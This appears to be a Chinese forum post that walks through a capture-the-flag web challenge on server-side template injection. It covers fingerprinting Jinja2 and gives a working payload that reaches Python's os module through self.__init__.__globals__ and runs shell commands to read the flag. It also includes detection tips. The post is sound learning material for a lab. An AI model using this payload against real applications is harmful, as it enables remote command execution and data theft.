iT邦幫忙

0

cylab-web-SSTI1

  • 分享至 

  • xImage
  •  

https://ithelp.ithome.com.tw/upload/images/20261105/20184829u6WJ0fUakX.png

這題是ssti的基礎題,我當初就是都丟給ai解沒打好基礎所以現在過不了SSTI2回來補

先講麼是ssti

參考文章:
1.https://portswigger.net/web-security/server-side-template-injection
2.https://portswigger.net/research/server-side-template-injection
下面這張圖是解題思路
https://ithelp.ithome.com.tw/upload/images/20261105/20184829EweS8AxaiL.png

1.確認是否能注入
2.我注入的伺服器是什麼型別
3.確認是否有黑名單(檔關鍵字)
4.在伺服器裡面晃晃
5.達成目標 執行動作(ex:拿ctf)

1+2:
https://ithelp.ithome.com.tw/upload/images/20261105/20184829c7PgcCqGEP.png
如果輸入${7*7}輸出49 分支往上
反之伺服器看不懂分支往下
這邊直接用這題ctf舉例
https://ithelp.ithome.com.tw/upload/images/20261105/20184829WFP89TtsHs.png
分支往下
試{{7*7}}
https://ithelp.ithome.com.tw/upload/images/20261105/20184829849L2ZsodA.png

這邊確定是jinja2這一派的了(本題實際是用jinja2)


ps:{{7*'7'}} 是區分 Jinja2 vs Twig
jinja2會輸出:7777777
Twig會輸出:49
https://ithelp.ithome.com.tw/upload/images/20261105/201848296ua09AYmHB.png


3:
把可能被黑名單得關鍵字都試一遍
{{ config }}
{{ self }}
{{ request }}
{{ ''.class }}

->這題是EZ沒有檔等我們到ssti2就會用到這個技巧了

先整理思路:
我確認是 Jinja2 → 後端是 Python,而且 Jinja2 函式庫本身的原始碼就會 import os 之類的模組(這是模板引擎正常運作需要的)→ 我透過 self/lipsum 這些 Jinja2 暴露出來的函式物件,拿到它的 globals(也就是它定義時所在那個 module 的全域變數),直接借用 Jinja2 自己已經 import 好的東西,間接取得執行系統指令的能力

這邊插入claude code給的ssti指令結構模板:
https://ithelp.ithome.com.tw/upload/images/20261105/201848295CEEjs3Prz.png

self / lipsum / cycler:路怎麼走到 os 模組(固定的幾種鑰匙,試哪一把能開門)
'id' / 'ls -la' / 'cat /challenge/flag':到了之後要做什麼(這是你自由決定的,跟前面的鑰匙無關)

題目到這邊就是開始閒逛了 就像小偷已經溜進關門得超市這樣

這裡我用口述:
往上兩層後有一個challenge資料夾進去有一個flag

5.完成目標:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cd /challenge && cat flag').read() }}
->

片段 類型 作用解釋
self Jinja2 內建全域變數 取得 self 這個物件的建構子(constructor)方法。init 本身是一個 function 物件
.init Python 內建屬性 取得 init 這個 function 被定義時所在的 module這個 module 內有 import 過哪些東西,這裡面都看得到
.globals Python 內建屬性 從上面那個全域字典中取出 builtins,它是 Python 內建函式表
.builtins 字典裡的 key
.import('os') Python 內建函式 呼叫內建的「動態 import」函式,在程式碼裡寫 import os,執行後回傳 os 這個模組物件
.popen('cd /challenge && ls -la') os 模組的方法 開啟一個子行程(shell),執行括號裡的這串系統 shell 指令
.read() 回傳物件的方法 popen() 回傳的是一個檔案物件(代表指令的輸出流),呼叫 .read() 才能把輸出內容讀出來、顯示在網頁上

https://ithelp.ithome.com.tw/upload/images/20261105/201848293pvEQDsuxc.png

我把flag base64放這:YWNhZGVteXtzNHJ2M3JfczFkM190M21wMTR0M18xbmozY3QxMG41XzRyM19jMDAxX2RlZTBhMWE2fQ==

題目講解到這
下面來小小補充一些SSTI得技巧:

補充:Server-side template injection

參考:https://portswigger.net/research/server-side-template-injection
tips1:
丟無效語法,看錯誤訊息:很多引擎的報錯會直接洩漏引擎名稱甚至版本
tips2:
Read 文件
讀模板引擎的官方文件,學基本語法
特別去找文件裡的「Security」章節——很多引擎的官方文件會自己列出「這些功能很危險,別讓使用者碰」,這其實等於官方幫你列好的 cheat sheet
tips3:
就算打不出 RCE,SSTI 還是有價值

tips4:
偵測技巧:
先丟 ?greeting=data.username<tag> → 如果沒被當 HTML 解析(代表沒有單純 XSS)
再試著用模板語法「跳出」原本的運算式:?greeting=data.username}}<tag>
如果 被當成 HTML 渲染出來(代表你成功用 }} 提前結束了模板運算式),就確認是 SSTI

下面歡迎友善討論0.0


圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言